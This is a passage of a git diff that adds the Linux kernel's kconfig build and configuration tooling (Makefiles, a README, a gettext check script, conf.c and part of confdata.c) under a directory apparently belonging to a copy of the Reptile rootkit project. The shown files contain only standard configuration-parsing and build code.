-ldflags $(HOSTCC)) + +HOSTLOADLIBES_nconf = $(shell \ + pkg-config --libs menu panel ncurses 2>/dev/null \ + || echo "-lmenu -lpanel -lncurses" ) +$(obj)/qconf.o: $(obj)/.tmp_qtcheck + +ifeq ($(qconf-target),1) +$(obj)/.tmp_qtcheck: $(src)/Makefile +-include $(obj)/.tmp_qtcheck + +# QT needs some extra effort... +$(obj)/.tmp_qtcheck: + @set -e; echo " CHECK qt"; dir=""; pkg=""; \ + if ! pkg-config --exists QtCore 2> /dev/null; then \ + echo "* Unable to find the QT4 tool qmake. Trying to use QT3"; \ + pkg-config --exists qt 2> /dev/null && pkg=qt; \ + pkg-config --exists qt-mt 2> /dev/null && pkg=qt-mt; \ + if [ -n "$$pkg" ]; then \ + cflags="\$$(shell pkg-config $$pkg --cflags)"; \ + libs="\$$(shell pkg-config $$pkg --libs)"; \ + moc="\$$(shell pkg-config $$pkg --variable=prefix)/bin/moc"; \ + dir="$$(pkg-config $$pkg --variable=prefix)"; \ + else \ + for d in $$QTDIR /usr/share/qt* /usr/lib/qt*; do \ + if [ -f $$d/include/qconfig.h ]; then dir=$$d; break; fi; \ + done; \ + if [ -z "$$dir" ]; then \ + echo >&2 "*"; \ + echo >&2 "* Unable to find any QT installation. Please make sure that"; \ + echo >&2 "* the QT4 or QT3 development package is correctly installed and"; \ + echo >&2 "* either qmake can be found or install pkg-config or set"; \ + echo >&2 "* the QTDIR environment variable to the correct location."; \ + echo >&2 "*"; \ + false; \ + fi; \ + libpath=$$dir/lib; lib=qt; osdir=""; \ + $(HOSTCXX) -print-multi-os-directory > /dev/null 2>&1 && \ + osdir=x$$($(HOSTCXX) -print-multi-os-directory); \ + test -d $$libpath/$$osdir && libpath=$$libpath/$$osdir; \ + test -f $$libpath/libqt-mt.so && lib=qt-mt; \ + cflags="-I$$dir/include"; \ + libs="-L$$libpath -Wl,-rpath,$$libpath -l$$lib"; \ + moc="$$dir/bin/moc"; \ + fi; \ + if [ ! -x $$dir/bin/moc -a -x /usr/bin/moc ]; then \ + echo "*"; \ + echo "* Unable to find $$dir/bin/moc, using /usr/bin/moc instead."; \ + echo "*"; \ + moc="/usr/bin/moc"; \ + fi; \ + else \ + cflags="\$$(shell pkg-config QtCore QtGui Qt3Support --cflags)"; \ + libs="\$$(shell pkg-config QtCore QtGui Qt3Support --libs)"; \ + moc="\$$(shell pkg-config QtCore --variable=moc_location)"; \ + [ -n "$$moc" ] || moc="\$$(shell pkg-config QtCore --variable=prefix)/bin/moc"; \ + fi; \ + echo "KC_QT_CFLAGS=$$cflags" > $@; \ + echo "KC_QT_LIBS=$$libs" >> $@; \ + echo "KC_QT_MOC=$$moc" >> $@ +endif + +$(obj)/gconf.o: $(obj)/.tmp_gtkcheck + +ifeq ($(gconf-target),1) +-include $(obj)/.tmp_gtkcheck + +# GTK needs some extra effort, too... +$(obj)/.tmp_gtkcheck: + @if `pkg-config --exists gtk+-2.0 gmodule-2.0 libglade-2.0`; then \ + if `pkg-config --atleast-version=2.0.0 gtk+-2.0`; then \ + touch $@; \ + else \ + echo >&2 "*"; \ + echo >&2 "* GTK+ is present but version >= 2.0.0 is required."; \ + echo >&2 "*"; \ + false; \ + fi \ + else \ + echo >&2 "*"; \ + echo >&2 "* Unable to find the GTK+ installation. Please make sure that"; \ + echo >&2 "* the GTK+ 2.0 development package is correctly installed..."; \ + echo >&2 "* You need gtk+-2.0, glib-2.0 and libglade-2.0."; \ + echo >&2 "*"; \ + false; \ + fi +endif + +$(obj)/zconf.tab.o: $(obj)/zconf.lex.c $(obj)/zconf.hash.c + +$(obj)/qconf.o: $(obj)/qconf.moc + +$(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck + $(KC_QT_MOC) -i $< -o $@ + +# Extract gconf menu items for I18N support +$(obj)/gconf.glade.h: $(obj)/gconf.glade + $(Q)intltool-extract --type=gettext/glade --srcdir=$(srctree) \ + $(obj)/gconf.glade + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/Makefile.br b/Linux/Rootkits/Reptile/scripts/kconfig/Makefile.br new file mode 100644 index 0000000..e31686e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/Makefile.br @@ -0,0 +1,60 @@ +src ?= . +top_srcdir ?= ../../ +top_builddir ?= ../../ +srctree ?= . +obj ?= . + +include $(src)/Makefile +#HOSTCFLAGS+=-Dinline="" -include foo.h +-include $(obj)/.depend +$(obj)/.depend: $(wildcard *.h *.c) + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) -MM *.c > $@ 2>/dev/null || : + @echo " HOSTCC $@" + +__hostprogs := $(sort $(hostprogs-y) $(hostprogs-m)) +host-csingle := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),$(if $($(m)-objs),,$(m)))) +host-cmulti := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),\ + $(if $($(m)-cxxobjs),,$(if $($(m)-objs),$(m))))) +host-cxxmulti := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),\ + $(if $($(m)-cxxobjs),$(m),$(if $($(m)-objs),)))) +host-cobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-objs)))) +host-cxxobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-cxxobjs)))) + +HOST_EXTRACFLAGS += -I$(obj) -DCONFIG_=\"\" + +$(host-csingle): %: %.c + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) $< -o $@ + @echo " HOSTCC $@" + +$(host-cmulti): %: $(host-cobjs) $(host-cshlib) + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) $(addprefix $(obj)/,$($(@F)-objs)) $(HOSTLOADLIBES_$(@F)) -o $@ + @echo " HOSTLD $@" + +$(host-cxxmulti): %: $(host-cxxobjs) $(host-cobjs) $(host-cshlib) + @$(HOSTCXX) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) $(addprefix $(obj)/,$($(@F)-objs) $($(@F)-cxxobjs)) $(HOSTLOADLIBES_$(@F)) -o $@ + @echo " HOSTLD $@" + +$(obj)/%.o: %.c + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@ + @echo " HOSTCC $@" + +$(obj)/%.o: $(obj)/%.c + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@ + @echo " HOSTCC $@" + +$(obj)/%.o: %.cc + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) -c $< -o $@ + @echo " HOSTCC $@" + +$(obj)/%:: $(src)/%_shipped + @$(Q)cat $< > $@ + +clean: + $(Q)rm -f $(addprefix $(obj)/,$(clean-files)) +distclean: clean + $(Q)rm -f $(addprefix $(obj)/,$(lxdialog) $(conf-objs) $(mconf-objs) $(kxgettext-objs) \ + $(hostprogs-y) $(qconf-cxxobjs) $(qconf-objs) $(gconf-objs) \ + mconf .depend) + +FORCE: +.PHONY: FORCE clean distclean diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/POTFILES.in b/Linux/Rootkits/Reptile/scripts/kconfig/POTFILES.in new file mode 100644 index 0000000..9674573 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/POTFILES.in @@ -0,0 +1,12 @@ +scripts/kconfig/lxdialog/checklist.c +scripts/kconfig/lxdialog/inputbox.c +scripts/kconfig/lxdialog/menubox.c +scripts/kconfig/lxdialog/textbox.c +scripts/kconfig/lxdialog/util.c +scripts/kconfig/lxdialog/yesno.c +scripts/kconfig/mconf.c +scripts/kconfig/conf.c +scripts/kconfig/confdata.c +scripts/kconfig/gconf.c +scripts/kconfig/gconf.glade.h +scripts/kconfig/qconf.cc diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/README.buildroot b/Linux/Rootkits/Reptile/scripts/kconfig/README.buildroot new file mode 100644 index 0000000..62e3a11 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/README.buildroot @@ -0,0 +1,20 @@ +This is a copy of the kconfig code in the kernel (currently 3.13-rc5) tweaked +to suit Buildroot. + +To update: + cp -r /usr/src/linux/scripts/kconfig support/kconfig.new + cd support/kconfig.new + cp -a ../kconfig/patches ../kconfig/README.buildroot ../kconfig/.gitignore . + quilt push -a + # Fix any conflict + cd .. + rm -rf kconfig + mv kconfig.new kconfig + +Then verify the toplevel targets work: + config + defconfig + menuconfig + xconfig + gconfig + oldconfig diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/check.sh b/Linux/Rootkits/Reptile/scripts/kconfig/check.sh new file mode 100644 index 0000000..854d9c7 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/check.sh @@ -0,0 +1,14 @@ +#!/bin/sh +# Needed for systems without gettext +$* -x c -o /dev/null - > /dev/null 2>&1 << EOF +#include +int main() +{ + gettext(""); + return 0; +} +EOF +if [ ! "$?" -eq "0" ]; then + echo -DKBUILD_NO_NLS; +fi + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/conf.c b/Linux/Rootkits/Reptile/scripts/kconfig/conf.c new file mode 100644 index 0000000..6780bd3 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/conf.c @@ -0,0 +1,717 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf(struct menu *menu); +static void check_conf(struct menu *menu); +static void xfgets(char *str, int size, FILE *in); + +enum input_mode { + oldaskconfig, + silentoldconfig, + oldconfig, + allnoconfig, + allyesconfig, + allmodconfig, + alldefconfig, + randconfig, + defconfig, + savedefconfig, + listnewconfig, + olddefconfig, +} input_mode = oldaskconfig; + +static int indent = 1; +static int tty_stdio; +static int valid_stdin = 1; +static int sync_kconfig; +static int conf_cnt; +static char line[128]; +static struct menu *rootEntry; + +static void print_help(struct menu *menu) +{ + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + printf("\n%s\n", str_get(&help)); + str_free(&help); +} + +static void strip(char *str) +{ + char *p = str; + int l; + + while ((isspace(*p))) + p++; + l = strlen(p); + if (p != str) + memmove(str, p, l + 1); + if (!l) + return; + p = str + l - 1; + while ((isspace(*p))) + *p-- = 0; +} + +static void check_stdin(void) +{ + if (!valid_stdin) { + printf(_("aborted!\n\n")); + printf(_("Console input/output is redirected. ")); + printf(_("Run 'make oldconfig' to update configuration.\n\n")); + exit(1); + } +} + +static int conf_askvalue(struct symbol *sym, const char *def) +{ + enum symbol_type type = sym_get_type(sym); + + if (!sym_has_value(sym)) + printf(_("(NEW) ")); + + line[0] = '\n'; + line[1] = 0; + + if (!sym_is_changable(sym)) { + printf("%s\n", def); + line[0] = '\n'; + line[1] = 0; + return 0; + } + + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (sym_has_value(sym)) { + printf("%s\n", def); + return 0; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + if (!tty_stdio) + printf("\n"); + return 1; + default: + break; + } + + switch (type) { + case S_INT: + case S_HEX: + case S_STRING: + printf("%s\n", def); + return 1; + default: + ; + } + printf("%s", line); + return 1; +} + +static int conf_string(struct menu *menu) +{ + struct symbol *sym = menu->sym; + const char *def; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + printf("(%s) ", sym->name); + def = sym_get_string_value(sym); + if (sym_get_string_value(sym)) + printf("[%s] ", def); + if (!conf_askvalue(sym, def)) + return 0; + switch (line[0]) { + case '\n': + break; + case '?': + /* print help */ + if (line[1] == '\n') { + print_help(menu); + def = NULL; + break; + } + /* fall through */ + default: + line[strlen(line)-1] = 0; + def = line; + } + if (def && sym_set_string_value(sym, def)) + return 0; + } +} + +static int conf_sym(struct menu *menu) +{ + struct symbol *sym = menu->sym; + tristate oldval, newval; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + if (sym->name) + printf("(%s) ", sym->name); + putchar('['); + oldval = sym_get_tristate_value(sym); + switch (oldval) { + case no: + putchar('N'); + break; + case mod: + putchar('M'); + break; + case yes: + putchar('Y'); + break; + } + if (oldval != no && sym_tristate_within_range(sym, no)) + printf("/n"); + if (oldval != mod && sym_tristate_within_range(sym, mod)) + printf("/m"); + if (oldval != yes && sym_tristate_within_range(sym, yes)) + printf("/y"); + if (menu_has_help(menu)) + printf("/?"); + printf("] "); + if (!conf_askvalue(sym, sym_get_string_value(sym))) + return 0; + strip(line); + + switch (line[0]) { + case 'n': + case 'N': + newval = no; + if (!line[1] || !strcmp(&line[1], "o")) + break; + continue; + case 'm': + case 'M': + newval = mod; + if (!line[1]) + break; + continue; + case 'y': + case 'Y': + newval = yes; + if (!line[1] || !strcmp(&line[1], "es")) + break; + continue; + case 0: + newval = oldval; + break; + case '?': + goto help; + default: + continue; + } + if (sym_set_tristate_value(sym, newval)) + return 0; +help: + print_help(menu); + } +} + +static int conf_choice(struct menu *menu) +{ + struct symbol *sym, *def_sym; + struct menu *child; + bool is_new; + + sym = menu->sym; + is_new = !sym_has_value(sym); + if (sym_is_changable(sym)) { + conf_sym(menu); + sym_calc_value(sym); + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + return 0; + case yes: + break; + } + } else { + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + return 0; + case yes: + break; + } + } + + while (1) { + int cnt, def; + + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + def_sym = sym_get_choice_value(sym); + cnt = def = 0; + line[0] = 0; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (!child->sym) { + printf("%*c %s\n", indent, '*', _(menu_get_prompt(child))); + continue; + } + cnt++; + if (child->sym == def_sym) { + def = cnt; + printf("%*c", indent, '>'); + } else + printf("%*c", indent, ' '); + printf(" %d. %s", cnt, _(menu_get_prompt(child))); + if (child->sym->name) + printf(" (%s)", child->sym->name); + if (!sym_has_value(child->sym)) + printf(_(" (NEW)")); + printf("\n"); + } + printf(_("%*schoice"), indent - 1, ""); + if (cnt == 1) { + printf("[1]: 1\n"); + goto conf_childs; + } + printf("[1-%d", cnt); + if (menu_has_help(menu)) + printf("?"); + printf("]: "); + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (!is_new) { + cnt = def; + printf("%d\n", cnt); + break; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + strip(line); + if (line[0] == '?') { + print_help(menu); + continue; + } + if (!line[0]) + cnt = def; + else if (isdigit(line[0])) + cnt = atoi(line); + else + continue; + break; + default: + break; + } + + conf_childs: + for (child = menu->list; child; child = child->next) { + if (!child->sym || !menu_is_visible(child)) + continue; + if (!--cnt) + break; + } + if (!child) + continue; + if (line[0] && line[strlen(line) - 1] == '?') { + print_help(child); + continue; + } + sym_set_choice_value(sym, child->sym); + for (child = child->list; child; child = child->next) { + indent += 2; + conf(child); + indent -= 2; + } + return 1; + } +} + +static void conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + prop = menu->prompt; + if (prop) { + const char *prompt; + + switch (prop->type) { + case P_MENU: + if ((input_mode == silentoldconfig || + input_mode == listnewconfig || + input_mode == olddefconfig) && + rootEntry != menu) { + check_conf(menu); + return; + } + /* fall through */ + case P_COMMENT: + prompt = menu_get_prompt(menu); + if (prompt) + printf("%*c\n%*c %s\n%*c\n", + indent, '*', + indent, '*', _(prompt), + indent, '*'); + default: + ; + } + } + + if (!sym) + goto conf_childs; + + if (sym_is_choice(sym)) { + conf_choice(menu); + if (sym->curr.tri != mod) + return; + goto conf_childs; + } + + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + conf_string(menu); + break; + default: + conf_sym(menu); + break; + } + +conf_childs: + if (sym) + indent += 2; + for (child = menu->list; child; child = child->next) + conf(child); + if (sym) + indent -= 2; +} + +static void check_conf(struct menu *menu) +{ + struct symbol *sym; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + if (sym && !sym_has_value(sym)) { + if (sym_is_changable(sym) || + (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes)) { + if (input_mode == listnewconfig) { + if (sym->name && !sym_is_choice_value(sym)) { + printf("%s%s\n", CONFIG_, sym->name); + } + } else if (input_mode != olddefconfig) { + if (!conf_cnt++) + printf(_("*\n* Restart config...\n*\n")); + rootEntry = menu_get_parent_menu(menu); + conf(rootEntry); + } + } + } + + for (child = menu->list; child; child = child->next) + check_conf(child); +} + +static struct option long_opts[] = { + {"oldaskconfig", no_argument, NULL, oldaskconfig}, + {"oldconfig", no_argument, NULL, oldconfig}, + {"silentoldconfig", no_argument, NULL, silentoldconfig}, + {"defconfig", optional_argument, NULL, defconfig}, + {"savedefconfig", required_argument, NULL, savedefconfig}, + {"allnoconfig", no_argument, NULL, allnoconfig}, + {"allyesconfig", no_argument, NULL, allyesconfig}, + {"allmodconfig", no_argument, NULL, allmodconfig}, + {"alldefconfig", no_argument, NULL, alldefconfig}, + {"randconfig", no_argument, NULL, randconfig}, + {"listnewconfig", no_argument, NULL, listnewconfig}, + {"olddefconfig", no_argument, NULL, olddefconfig}, + /* + * oldnoconfig is an alias of olddefconfig, because people already + * are dependent on its behavior(sets new symbols to their default + * value but not 'n') with the counter-intuitive name. + */ + {"oldnoconfig", no_argument, NULL, olddefconfig}, + {NULL, 0, NULL, 0} +}; + +static void conf_usage(const char *progname) +{ + + printf("Usage: %s [option] \n", progname); + printf("[option] is _one_ of the following:\n"); + printf(" --listnewconfig List new options\n"); + printf(" --oldaskconfig Start a new configuration using a line-oriented program\n"); + printf(" --oldconfig Update a configuration using a provided .config as base\n"); + printf(" --silentoldconfig Same as oldconfig, but quietly, additionally update deps\n"); + printf(" --olddefconfig Same as silentoldconfig but sets new symbols to their default value\n"); + printf(" --oldnoconfig An alias of olddefconfig\n"); + printf(" --defconfig New config with default defined in \n"); + printf(" --savedefconfig Save the minimal current configuration to \n"); + printf(" --allnoconfig New config where all options are answered with no\n"); + printf(" --allyesconfig New config where all options are answered with yes\n"); + printf(" --allmodconfig New config where all options are answered with mod\n"); + printf(" --alldefconfig New config with all symbols set to default\n"); + printf(" --randconfig New config with random answer to all options\n"); +} + +int main(int ac, char **av) +{ + const char *progname = av[0]; + int opt; + const char *name, *defconfig_file = NULL /* gcc uninit */; + struct stat tmpstat; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + tty_stdio = isatty(0) && isatty(1) && isatty(2); + + while ((opt = getopt_long(ac, av, "", long_opts, NULL)) != -1) { + input_mode = (enum input_mode)opt; + switch (opt) { + case silentoldconfig: + sync_kconfig = 1; + break; + case defconfig: + case savedefconfig: + defconfig_file = optarg; + break; + case randconfig: + { + struct timeval now; + unsigned int seed; + char *seed_env; + + /* + * Use microseconds derived seed, + * compensate for systems where it may be zero + */ + gettimeofday(&now, NULL); + seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1)); + + seed_env = getenv(PRODUCT_ENV"_SEED"); + if( seed_env && *seed_env ) { + char *endp; + int tmp = (int)strtol(seed_env, &endp, 0); + if (*endp == '\0') { + seed = tmp; + } + } + fprintf( stderr, PRODUCT_ENV"_SEED=0x%X\n", seed ); + srand(seed); + break; + } + case oldaskconfig: + case oldconfig: + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case listnewconfig: + case olddefconfig: + break; + case '?': + conf_usage(progname); + exit(1); + break; + } + } + if (ac == optind) { + printf(_("%s: Kconfig file missing\n"), av[0]); + conf_usage(progname); + exit(1); + } + name = av[optind]; + conf_parse(name); + if (sync_kconfig) { + name = conf_get_configname(); + if (stat(name, &tmpstat)) { + fprintf(stderr, _("***\n" + "*** Configuration file \"%s\" not found!\n" + "***\n" + "*** Please run some configurator (e.g. \"make oldconfig\" or\n" + "*** \"make menuconfig\" or \"make xconfig\").\n" + "***\n"), name); + exit(1); + } + } + + switch (input_mode) { + case defconfig: + if (!defconfig_file) + defconfig_file = conf_get_default_confname(); + if (conf_read(defconfig_file)) { + printf(_("***\n" + "*** Can't find default configuration \"%s\"!\n" + "***\n"), defconfig_file); + exit(1); + } + break; + case savedefconfig: + case silentoldconfig: + case oldaskconfig: + case oldconfig: + case listnewconfig: + case olddefconfig: + conf_read(NULL); + break; + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case randconfig: + name = getenv(PRODUCT_ENV"_ALLCONFIG"); + if (!name) + break; + if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) { + if (conf_read_simple(name, S_DEF_USER)) { + fprintf(stderr, + _("*** Can't read seed configuration \"%s\"!\n"), + name); + exit(1); + } + break; + } + switch (input_mode) { + case allnoconfig: name = "allno.config"; break; + case allyesconfig: name = "allyes.config"; break; + case allmodconfig: name = "allmod.config"; break; + case alldefconfig: name = "alldef.config"; break; + case randconfig: name = "allrandom.config"; break; + default: break; + } + if (conf_read_simple(name, S_DEF_USER) && + conf_read_simple("all.config", S_DEF_USER)) { + fprintf(stderr, + _("*** "PRODUCT_ENV"_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), + name); + exit(1); + } + break; + default: + break; + } + + if (sync_kconfig) { + if (conf_get_changed()) { + name = getenv(PRODUCT_ENV"_NOSILENTUPDATE"); + if (name && *name) { + fprintf(stderr, + _("\n*** The configuration requires explicit update.\n\n")); + return 1; + } + } + valid_stdin = tty_stdio; + } + + switch (input_mode) { + case allnoconfig: + conf_set_all_new_symbols(def_no); + break; + case allyesconfig: + conf_set_all_new_symbols(def_yes); + break; + case allmodconfig: + conf_set_all_new_symbols(def_mod); + break; + case alldefconfig: + conf_set_all_new_symbols(def_default); + break; + case randconfig: + /* Really nothing to do in this loop */ + while (conf_set_all_new_symbols(def_random)) ; + break; + case defconfig: + conf_set_all_new_symbols(def_default); + break; + case savedefconfig: + break; + case oldaskconfig: + rootEntry = &rootmenu; + conf(&rootmenu); + input_mode = silentoldconfig; + /* fall through */ + case oldconfig: + case listnewconfig: + case olddefconfig: + case silentoldconfig: + /* Update until a loop caused no more changes */ + do { + conf_cnt = 0; + check_conf(&rootmenu); + } while (conf_cnt && + (input_mode != listnewconfig && + input_mode != olddefconfig)); + break; + } + + if (sync_kconfig) { + /* silentoldconfig is used during the build so we shall update autoconf. + * All other commands are only used to generate a config. + */ + if (conf_get_changed() && conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + if (conf_write_autoconf()) { + fprintf(stderr, _("\n*** Error during update of the configuration.\n\n")); + return 1; + } + } else if (input_mode == savedefconfig) { + if (conf_write_defconfig(defconfig_file)) { + fprintf(stderr, _("n*** Error while saving defconfig to: %s\n\n"), + defconfig_file); + return 1; + } + } else if (input_mode != listnewconfig) { + if (conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + } + return 0; +} + +/* + * Helper function to facilitate fgets() by Jean Sacren. + */ +void xfgets(char *str, int size, FILE *in) +{ + if (fgets(str, size, in) == NULL) + fprintf(stderr, "\nError in reading or end of file.\n"); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/confdata.c b/Linux/Rootkits/Reptile/scripts/kconfig/confdata.c new file mode 100644 index 0000000..506a956 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/confdata.c @@ -0,0 +1,1272 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf_warning(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static void conf_message(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static const char *conf_filename; +static int conf_lineno, conf_warnings, conf_unsaved; + +const char conf_defname[] = ".defconfig"; + +static void conf_warning(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; +} + +static void conf_default_message_callback(const char *fmt, va_list ap) +{ + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); +} + +static void (*conf_message_callback) (const char *fmt, va_list ap) = + conf_default_message_callback; +void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) +{ + conf_message_callback = fn; +} + +static void conf_message(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); +} + +const char *conf_get_configname(void) +{ + char *name = getenv(PRODUCT_ENV"_CONFIG"); + + return name ? name : ".config"; +} + +const char *conf_get_autoconfig_name(void) +{ + return getenv(PRODUCT_ENV"_AUTOCONFIG"); +} + +static char *conf_expand_value(const char *in) +{ + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; +} + +char *conf_get_default_confname(void) +{ + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; +} + +static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) +{ + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + /* fall through */ + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + /* fall through */ + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + /* fall through */ + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; +} + +#define LINE_GROWTH 16 +static int add_byte(int c, char **lineptr, size_t slen, size_t *n) +{ + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; +} + +static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) +{ + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + /* fall through */ + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } + +e_out: + line[slen-1] = '\0'; + *lineptr = line; + return -1; +} + +int conf_read_simple(const char *name, int def) +{ + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; + +load: + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + /* fall through */ + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + 